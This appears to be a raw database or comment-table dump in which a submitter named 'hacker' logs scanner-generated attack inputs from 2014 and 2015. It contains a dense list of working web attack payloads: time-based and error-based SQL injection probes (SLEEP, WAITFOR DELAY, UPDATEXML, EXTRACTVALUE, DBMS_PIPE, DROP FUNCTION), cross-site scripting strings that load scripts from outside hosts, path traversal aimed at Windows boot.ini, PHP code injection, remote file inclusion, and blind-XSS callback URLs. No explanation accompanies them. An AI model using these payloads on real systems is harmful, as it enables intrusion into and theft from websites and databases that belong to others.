hacker2014-11-21 9:38:55218.30.118.7988888 
88888 RLIKE (SELECT (CASE WHEN (4848) THEN 88888 ELSE 0x28 END)) AND momo
hacker/2014-11-21 9:38:57218.30.118.7988888 
88888
hacker)2014-11-21 9:39:08218.30.118.7988888 
88888
hacker2014-11-21 9:39:14218.30.118.7988888 
88888
hacker2014-11-21 9:39:14218.30.118.7988888 
88888 WAITFOR DELAY 0:0:5--
hacker2014-11-21 9:39:15218.30.118.7988888 
88888
hacker2014-11-21 9:39:15218.30.118.7988888 
88888 WAITFOR DELAY 0:0:5--
hacker2014-11-21 9:39:18218.30.118.7988888 
88888
hacker2014-11-21 9:39:19218.30.118.7988888 
88888 WAITFOR DELAY 0:0:5--
hacker!(()2014-11-21 9:39:22218.30.118.7988888 
88888
hacker2014-11-21 9:39:22218.30.118.7988888 
88888
hacker2014-11-21 9:39:25218.30.118.7988888 
88888
hackeralert(42873)2014-11-21 9:39:27218.30.118.7988888 
88888
hacker2014-11-21 9:39:28218.30.118.7988888 
88888
hacker2014-11-21 9:39:31218.30.118.7988888 
88888
hacker2014-11-21 9:39:31218.30.118.7988888 
88888)) WAITFOR DELAY 0:0:5 --
hacker2014-11-21 9:39:32218.30.118.7988888 
88888
hacker2014-11-21 9:39:32218.30.118.7988888 
88888 AND SLEEP(5)
hacker2014-11-21 9:39:33218.30.118.7988888 
88888
hacker2014-11-21 9:39:36218.30.118.7988888 
88888
hacker2014-11-21 9:39:39218.30.118.7988888 
88888
hacker2014-11-21 9:39:40218.30.118.7988888 
88888) AND SLEEP(5) #
hacker2014-11-21 9:39:41218.30.118.7988888 
88888
hacker2014-11-21 9:39:41218.30.118.7988888 
88888) AND SLEEP(5) #
hacker2014-11-21 9:39:42218.30.118.7988888 
88888
hacker2014-11-21 9:39:45218.30.118.7988888 
88888
hacker2014-11-21 9:39:45218.30.118.7988888 
88888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-11-21 9:39:46218.30.118.7988888 
88888
hacker2014-11-21 9:39:46218.30.118.7988888 
88888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-11-21 9:39:47218.30.118.7988888 
88888
hacker2014-11-21 9:39:50218.30.118.7988888 
88888
hacker2014-11-21 9:39:50218.30.118.7988888 
88888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND TnTTnT
hacker2014-11-21 9:39:53218.30.118.7988888 
88888
hacker2014-11-21 9:39:56218.30.118.7988888 
88888AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5)
hacker2014-11-21 9:39:59218.30.118.7988888 
88888
hacker2014-11-21 9:40:37218.30.118.7988888 
88888
hacker2014-11-21 9:40:39218.30.118.7988888 
88888script srchttp://xxooxxoo.js/script
hacker2014-11-21 9:40:40218.30.118.7988888 
88888
hacker2014-11-21 9:40:41218.30.118.7988888 
88888
hacker2014-11-21 9:40:44218.30.118.7988888 
88888
hacker2014-11-21 9:40:46218.30.118.7988888 
88888
hacker2014-11-21 9:40:52218.30.118.7988888 
88888
hacker2014-11-21 9:40:52218.30.118.7988888 
88888
hacker2014-11-21 9:40:53218.30.118.7988888 
88888
hacker2014-11-21 9:40:56218.30.118.7988888 
88888
hacker2014-11-21 9:40:58218.30.118.7988888 
88888
hacker2014-11-21 9:41:01218.30.118.7988888 
88888
hacker2014-11-21 9:41:03218.30.118.7988888 
88888
hacker2014-11-21 9:41:07218.30.118.7988888 
88888
hacker2014-11-21 9:41:08218.30.118.7988888 
88888
hacker2014-11-21 9:41:10218.30.118.7988888 
88888
hacker2014-11-21 9:41:11218.30.118.7988888 
88888
hacker2014-11-21 9:41:13218.30.118.7988888 
88888
hacker2014-11-21 9:41:15218.30.118.7988888 
88888
hacker2014-11-21 9:41:15218.30.118.7988888 
88888
hacker2014-11-21 9:41:37218.30.118.7988888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-11-21 9:42:07218.30.118.7988888 
88888" mouseoverpropromptmpt(42873) bad"
/some_inexistent_file_with_lg_name2014-11-21 9:42:11218.30.118.7988888 
88888
hacker2014-11-21 9:42:14218.30.118.7988888 
88888iframe srchttp://xxooxxoo.js
hacker2014-11-21 9:42:23218.30.118.7988888 
88888
hacker2014-11-21 9:42:32218.30.118.7988888 
8888827
hacker2014-11-21 9:42:41218.30.118.7988888 
88888
dir2014-11-21 9:42:47218.30.118.7988888 
88888
hacker2014-11-21 9:42:51218.30.118.7988888 
88888\
dir2014-11-21 9:42:56218.30.118.7988888 
88888
hacker2014-11-21 9:43:00218.30.118.7988888 
88888\"
hacker2014-11-21 9:43:14218.30.118.7988888 
88888JyI
hacker2014-11-21 9:43:23218.30.118.7988888 
88888"
hacker2014-11-21 9:43:32218.30.118.7988888 
88888?
hacker2014-11-21 9:43:43218.30.118.7988888 
88888e360
hacker2014-11-21 9:43:52218.30.118.7988888 
888886633x3X6
hacker2014-11-21 9:44:01218.30.118.7988888 
88888"\\"27?
hacker2014-11-21 9:44:10218.30.118.7988888 
88888"
hacker2014-11-21 9:44:14218.30.118.7988888 
88888
hacker2014-11-21 9:44:19218.30.118.7988888 
88888/
hacker2014-11-21 9:44:36218.30.118.7988888 
88888)
hacker2014-11-21 9:44:45218.30.118.7988888 
88888!(()
hacker2014-11-21 9:44:54218.30.118.7988888 
88888alert(42873)
hacker2014-11-21 9:45:03218.30.118.7988888 
../../../../../../../../boot.ini
hacker2014-11-21 9:45:11218.30.118.7988888 
../../../../../../../../boot.ini
hacker2014-11-21 9:45:21218.30.118.7988888 
boot.ini
hacker2014-11-21 9:45:32218.30.118.7988888 
../../../../../../../../boot.ini
hacker2014-11-21 9:45:41218.30.118.7988888 
../../../../../../../../boot.ini
hacker2014-11-21 9:45:49218.30.118.7988888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-11-21 9:45:58218.30.118.7988888 
C:\boot.ini
hacker2014-11-21 9:46:06218.30.118.7988888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-11-21 9:46:21218.30.118.7988888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-11-21 9:46:26218.30.118.7988888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-11-21 9:46:31218.30.118.7988888 
................boot.ini
hacker2014-11-21 9:46:39218.30.118.7988888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-11-21 9:46:46218.30.118.7988888 
|..\..\..\..\..\..\..\..\boot.ini
hacker2014-11-21 9:46:52218.30.118.7988888 
../../../../../../../../boot.ini
hacker2014-11-21 9:47:03218.30.118.7988888 
../../../../../../../../boot.ini
hacker2014-11-21 9:47:10218.30.118.7988888 
file:///c:/boot.ini
hacker2014-11-21 9:47:17218.30.118.7988888 
................windowswin.ini
hacker2014-11-21 9:47:27218.30.118.7988888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-11-21 9:47:31218.30.118.7988888 
/some_inexistent_file_with_lg_name
hacker2014-11-21 9:47:38218.30.118.7988888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-11-21 9:47:47218.30.118.7988888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-11-21 9:47:51218.30.118.7988888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-11-21 9:47:56218.30.118.7988888 
dir
hacker2014-11-21 9:48:03218.30.118.7988888 
dir
hacker2014-11-21 9:48:11218.30.118.7988888 
http://oxoxoxoxoxoxox.com
hacker2014-11-21 9:48:17218.30.118.7988888 
oxoxoxoxoxoxox.com
hacker2014-11-21 9:48:26218.30.118.7988888 
print(md5(1122))#
hacker2014-11-21 9:48:32218.30.118.7988888 
)print(md5(1122))//
hacker2014-11-21 9:48:37218.30.118.7988888 
${@print(md5(1122))}
hacker2014-11-21 9:48:48218.30.118.7988888 
data:text/plain,?php print(md5(1122))?
hacker2014-11-21 9:48:54218.30.118.7988888 
phpinfo
hacker2014-11-21 9:48:59218.30.118.7988888 
?exit(md5(1122))?
hacker2014-11-21 9:49:05218.30.118.7988888 
http://220.181.158.71:80
hacker2014-11-21 9:49:10218.30.118.7988888 
http://hitBAo6EKQnyr.bxss.me/
hacker2014-11-21 9:49:15218.30.118.7988888 
http://hitd0rQGQge8t.bxss.me/
hacker2015-2-14 20:49:56182.118.33.888888 
88888
hacker2015-2-14 20:49:56182.118.33.888888 
88888
hacker2015-2-14 20:49:57182.118.33.888888 
88888
hacker2015-2-14 20:50:06182.118.33.888888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2015-2-14 20:50:07182.118.33.888888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2015-2-14 20:50:08182.118.33.888888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2015-2-14 20:50:09182.118.33.888888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2015-2-14 20:50:10182.118.33.888888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2015-2-14 20:50:11182.118.33.888888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2015-2-14 20:50:12182.118.33.888888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2015-2-14 20:50:13182.118.33.888888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2015-2-14 20:50:14182.118.33.888888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2015-2-14 20:50:15182.118.33.888888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2015-2-14 20:50:16182.118.33.888888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2015-2-14 20:50:17182.118.33.888888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2015-2-14 20:50:18182.118.33.888888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2015-2-14 20:50:19182.118.33.888888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2015-2-14 20:50:20182.118.33.888888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2015-2-14 20:50:21182.118.33.888888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2015-2-14 20:50:22182.118.33.888888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2015-2-14 20:50:23182.118.33.888888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2015-2-14 20:50:24182.118.33.888888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2015-2-14 20:50:25182.118.33.888888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2015-2-14 20:50:26182.118.33.888888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND  
88888
hacker2015-2-14 20:50:27182.118.33.888888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa 
88888
hacker2015-2-14 20:50:28182.118.33.888888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa 
88888
hacker2015-2-14 20:50:29182.118.33.888888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014 
88888
hacker2015-2-14 20:50:30182.118.33.888888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2015-2-14 20:50:31182.118.33.888888 AND 1CHAR(106)+CHAR(106)+CHAR(106) 
88888
hacker2015-2-14 20:50:33182.118.33.888888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2015-2-14 20:50:34182.118.33.888888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2015-2-14 20:50:34182.118.33.888888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2015-2-14 20:50:36182.118.33.888888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2015-2-14 20:50:42182.118.33.8(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 
88888
hacker2015-2-14 20:50:43182.118.33.8EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 
88888
hacker2015-2-14 20:50:44182.118.33.8CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2015-2-14 20:50:46182.118.33.8 
88888
hacker2015-2-14 20:50:47182.118.33.888888 AND 4759 
88888
hacker2015-2-14 20:50:48182.118.33.888888 AND 7171 
88888
hacker2015-2-14 20:51:03182.118.33.888888 
88888
hacker2015-2-14 20:51:04182.118.33.888888 AND 7171 
88888
hacker2015-2-14 20:51:04182.118.33.888888 
88888
hacker2015-2-14 20:51:05182.118.33.888888 
88888
hacker2015-2-14 20:51:14182.118.33.888888 AND 731226 
88888
hacker2015-2-14 20:51:15182.118.33.888888) AND 5153 AND (5151 
88888
hacker2015-2-14 20:51:15182.118.33.888888 OR 8585 LIMIT 100 -- 
88888
hacker2015-2-14 20:51:16182.118.33.888888,(SELECT (CASE WHEN (1637) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-2-14 20:51:17182.118.33.888888,(SELECT (CASE WHEN (7474) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-2-14 20:51:17182.118.33.888888,IIF(2741,88888,1/0) 
88888
hacker2015-2-14 20:51:19182.118.33.888888,IIF(3838,88888,1/0) 
88888
hacker2015-2-14 20:51:22182.118.33.888888 RLIKE (SELECT (CASE WHEN (1341) THEN 88888 ELSE 0x28 END)) 
88888
hacker2015-2-14 20:51:30182.118.33.888888 RLIKE (SELECT (CASE WHEN (9696) THEN 88888 ELSE 0x28 END)) 
88888
hacker2015-2-14 20:51:34182.118.33.888888) RLIKE (SELECT (CASE WHEN (1686) THEN 88888 ELSE 0x28 END)) AND (1616 
88888
hacker2015-2-14 20:51:35182.118.33.888888) RLIKE (SELECT (CASE WHEN (1818) THEN 88888 ELSE 0x28 END)) AND (6363 
88888
hacker2015-2-14 20:51:36182.118.33.888888) OR 1818 OR (1818) LIMIT 100 -- 
88888
hacker2015-2-14 20:51:36182.118.33.888888) OR 1744 OR (1744 
88888
hacker2015-2-14 20:51:37182.118.33.8(SELECT (CASE WHEN (2461) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-2-14 20:51:37182.118.33.8(SELECT (CASE WHEN (8686) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-2-14 20:51:38182.118.33.8IIF(1913,88888,1/0) 
88888
hacker2015-2-14 20:51:41182.118.33.8IIF(5858,88888,1/0) 
88888
hacker2015-2-14 20:51:42182.118.33.888888 AND TRvD 
88888
hacker2015-2-14 20:51:43182.118.33.888888 AND 8832 AND  
88888
hacker2015-2-14 20:51:43182.118.33.888888) AND 8713 AND (l2l2 
88888
hacker2015-2-14 20:51:45182.118.33.88888827 AND 5453 # 
88888
hacker2015-2-14 20:51:45182.118.33.88888827 AND 5454 # 
88888
hacker2015-2-14 20:51:47182.118.33.888888) AND 5612 AND 1 like( 
88888
hacker2015-2-14 20:51:47182.118.33.888888) AND 9797 AND 1 like( 
88888
hacker2015-2-14 20:51:49182.118.33.888888 OR momo LIMIT 100 -- 
88888
hacker2015-2-14 20:51:51182.118.33.888888 IF(5884) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-2-14 20:51:51182.118.33.888888 IF(3434) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-2-14 20:51:55182.118.33.888888) IF(8837) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-2-14 20:51:55182.118.33.888888) IF(1717) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-2-14 20:51:56182.118.33.888888) RLIKE (SELECT (CASE WHEN (6361) THEN 88888 ELSE 0x28 END)) AND (7i7i 
88888
hacker2015-2-14 20:51:56182.118.33.888888) RLIKE (SELECT (CASE WHEN (1515) THEN 88888 ELSE 0x28 END)) AND (b0b0 
88888
hacker2015-2-14 20:51:57182.118.33.888888 RLIKE (SELECT (CASE WHEN (8135) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2015-2-14 20:51:57182.118.33.888888 RLIKE (SELECT (CASE WHEN (3838) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2015-2-14 20:51:58182.118.33.888888 RLIKE (SELECT (CASE WHEN (9722) THEN 88888 ELSE 0x28 END)) AND JJJJ 
88888
hacker2015-2-14 20:51:58182.118.33.888888 RLIKE (SELECT (CASE WHEN (1212) THEN 88888 ELSE 0x28 END)) AND OgOg 
88888
hacker2015-2-14 20:52:00182.118.33.888888 
88888
hacker2015-2-14 20:52:01182.118.33.888888 WAITFOR DELAY 0:0:5-- 
88888
hacker2015-2-14 20:52:03182.118.33.888888 
88888
hacker2015-2-14 20:52:04182.118.33.888888 WAITFOR DELAY 0:0:5-- 
88888
hacker2015-2-14 20:52:04182.118.33.888888 
88888
hacker2015-2-14 20:52:05182.118.33.888888 WAITFOR DELAY 0:0:5-- 
88888
hacker2015-2-14 20:52:05182.118.33.888888 
88888
hacker2015-2-14 20:52:06182.118.33.888888 WAITFOR DELAY 0:0:5 -- 
88888
hacker2015-2-14 20:52:06182.118.33.888888 
88888
hacker2015-2-14 20:52:06182.118.33.888888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2015-2-14 20:52:07182.118.33.888888 
88888
hacker2015-2-14 20:52:07182.118.33.888888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2015-2-14 20:52:07182.118.33.888888 
88888
hacker2015-2-14 20:52:08182.118.33.888888)) WAITFOR DELAY 0:0:5 -- 
88888
hacker2015-2-14 20:52:08182.118.33.888888 
88888
hacker2015-2-14 20:52:09182.118.33.888888 AND SLEEP(5) 
88888
hacker2015-2-14 20:52:09182.118.33.888888 
88888
hacker2015-2-14 20:52:09182.118.33.888888 AND SLEEP(5) # 
88888
hacker2015-2-14 20:52:10182.118.33.888888 
88888
hacker2015-2-14 20:52:10182.118.33.888888 AND SLEEP(5) # 
88888
hacker2015-2-14 20:52:11182.118.33.888888 
88888
hacker2015-2-14 20:52:20182.118.33.888888 
88888
hacker2015-2-14 20:52:20182.118.33.888888) AND SLEEP(5) # 
88888
hacker2015-2-14 20:52:20182.118.33.888888 
88888
hacker2015-2-14 20:52:21182.118.33.888888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2015-2-14 20:52:21182.118.33.888888 
88888
hacker2015-2-14 20:52:21182.118.33.888888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2015-2-14 20:52:22182.118.33.888888 
88888
hacker2015-2-14 20:52:22182.118.33.888888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2015-2-14 20:52:22182.118.33.888888 
88888
hacker2015-2-14 20:52:23182.118.33.888888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2015-2-14 20:52:23182.118.33.888888 
88888
hacker2015-2-14 20:52:23182.118.33.888888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND TnTTnT 
88888
hacker2015-2-14 20:52:24182.118.33.888888 
88888
hacker2015-2-14 20:52:24182.118.33.888888AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) 
88888
hacker2015-2-14 20:52:24182.118.33.888888 
88888
hacker2015-2-14 20:52:25182.118.33.888888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND  
88888
hacker2015-2-14 20:52:44182.118.33.888888 
88888
hacker2015-2-14 20:52:44182.118.33.888888 
88888
hacker2015-2-14 20:52:46182.118.33.888888 
88888
hacker2015-2-14 20:52:54182.118.33.888888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2015-2-14 20:52:56182.118.33.888888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2015-2-14 20:52:56182.118.33.888888 
88888
hacker2015-2-14 20:52:58182.118.33.888888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2015-2-14 20:52:58182.118.33.888888 
88888
hacker2015-2-14 20:52:59182.118.33.888888 
88888
hacker2015-2-14 20:52:59182.118.33.888888 
88888
hacker2015-2-14 20:52:59182.118.33.888888 
88888
hacker2015-2-14 20:53:00182.118.33.888888 
88888
hacker2015-2-14 20:53:00182.118.33.888888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2015-2-14 20:53:00182.118.33.888888 
88888
hacker2015-2-14 20:53:00182.118.33.888888 
88888
hacker2015-2-14 20:53:01182.118.33.888888 
88888
hacker2015-2-14 20:53:03182.118.33.888888 
88888
hacker2015-2-14 20:53:03182.118.33.888888 
88888
hacker2015-2-14 20:53:04182.118.33.888888 
88888
hacker2015-2-14 20:53:04182.118.33.888888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2015-2-14 20:53:04182.118.33.888888 
88888
hacker2015-2-14 20:53:05182.118.33.888888 
88888
hacker2015-2-14 20:53:05182.118.33.888888script srchttp://xxooxxoo.js/script 
88888
hacker2015-2-14 20:53:05182.118.33.888888 
88888
hacker2015-2-14 20:53:06182.118.33.888888 
88888
hacker2015-2-14 20:53:06182.118.33.888888 
88888
hacker2015-2-14 20:53:06182.118.33.888888 
88888
hacker2015-2-14 20:53:07182.118.33.888888 
88888
hacker2015-2-14 20:53:09182.118.33.888888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2015-2-14 20:53:11182.118.33.888888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2015-2-14 20:53:12182.118.33.888888 
88888
hacker2015-2-14 20:53:12182.118.33.888888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2015-2-14 20:53:12182.118.33.888888 
88888
hacker2015-2-14 20:53:13182.118.33.888888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2015-2-14 20:53:13182.118.33.888888 
88888
hacker2015-2-14 20:53:14182.118.33.888888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2015-2-14 20:53:14182.118.33.888888 
88888
hacker2015-2-14 20:53:15182.118.33.888888 
88888
hacker2015-2-14 20:53:21182.118.33.888888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2015-2-14 20:53:22182.118.33.888888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2015-2-14 20:53:30182.118.33.888888 
88888
hacker2015-2-14 20:53:31182.118.33.888888 
88888
hacker2015-2-14 20:53:33182.118.33.888888 
88888
hacker2015-2-14 20:53:35182.118.33.888888 
88888
hacker2015-2-14 20:53:37182.118.33.888888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2015-2-14 20:53:38182.118.33.888888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2015-2-14 20:53:49182.118.33.888888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2015-2-14 20:53:50182.118.33.888888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2015-2-14 20:53:53182.118.33.888888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2015-2-14 20:53:54182.118.33.888888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2015-2-14 20:53:57182.118.33.888888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2015-2-14 20:53:58182.118.33.888888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2015-2-14 20:53:59182.118.33.888888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2015-2-14 20:54:01182.118.33.888888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND
hacker2015-2-14 20:54:04182.118.33.888888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa
